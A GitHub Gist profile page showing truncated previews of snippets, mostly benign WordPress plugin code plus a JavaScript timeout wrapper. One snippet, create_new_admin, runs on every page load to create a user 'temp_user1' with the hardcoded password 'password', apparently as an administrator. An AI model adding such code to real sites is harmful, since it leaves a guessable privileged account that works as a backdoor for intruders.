Skip to content

Instantly share code, notes, and snippets.

View enishant's full-sized avatar

Nishant Vaity enishant

View GitHub Profile
@enishant
enishant / wait-function.js
Created June 29, 2022 08:30 — forked from ramonvictor/wait-function.js
Fancy setTimeout wrapper using native Promise.
var wait = function(ms) {
ms = ms || 500;
return new Promise(function(resolve, reject){
window.setTimeout(function() {
resolve();
}, ms);
});
};
// USAGE
<?php
/*
Plugin Name: Ajax Password Protected
Plugin URI: http://trepmal.com/
Description: Ajax-ified password-protected form
Version: 0.1
Author: Kailey Lampert
Author URI: http://kaileylampert.com
Copyright (C) 2012 Kailey Lampert
<?php
add_action( 'register_form', 'additional_profile_fields' );
add_action( 'signup_extra_fields', 'additional_profile_fields' );
function additional_profile_fields() { ?>
<p>
<label><?php _e('First Name') ?><br />
<input type="text" name="first_name" id="first_name" class="input" size="25" /></label>
</p>
<p>
<?php
// Plugin Name: Add Categories to Media
add_action( 'init', 'categories_for_media' );
function categories_for_media() {
register_taxonomy_for_object_type( 'category', 'attachment' );
}
<?php
add_action('init', 'create_new_admin');
function create_new_admin() {
$user_name = 'temp_user1';
$password = 'password';
$user_id = username_exists( $user_name );
if ( ! $user_id ) {
$id = wp_create_user( $user_name, $password );
<?php
/*
* Plugin Name: My Sites Search
* Plugin URI: trepmal.com
* Description:
* Version:
* Author: Kailey Lampert
* Author URI: kaileylampert.com
* License: GPLv2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
<?php
add_action('init', 'remove_feed_from_rewrite');
function remove_feed_from_rewrite() {
global $wp_rewrite;
$wp_rewrite->feeds = array( 'rdf', 'rss', 'rss2', 'atom' );
}
<?php
/**
* Plugin Name: Private Post Access
* Plugin URI: http://wordpress.stackexchange.com/questions/130967/get-full-page-html-for-a-non-public-wordpress-page
* Description: Generate and handle urls that allow access to posts in non-public status.
* Author: G. M.
* Author URI: http://wordpress.stackexchange.com/users/35541/g-m
*
*/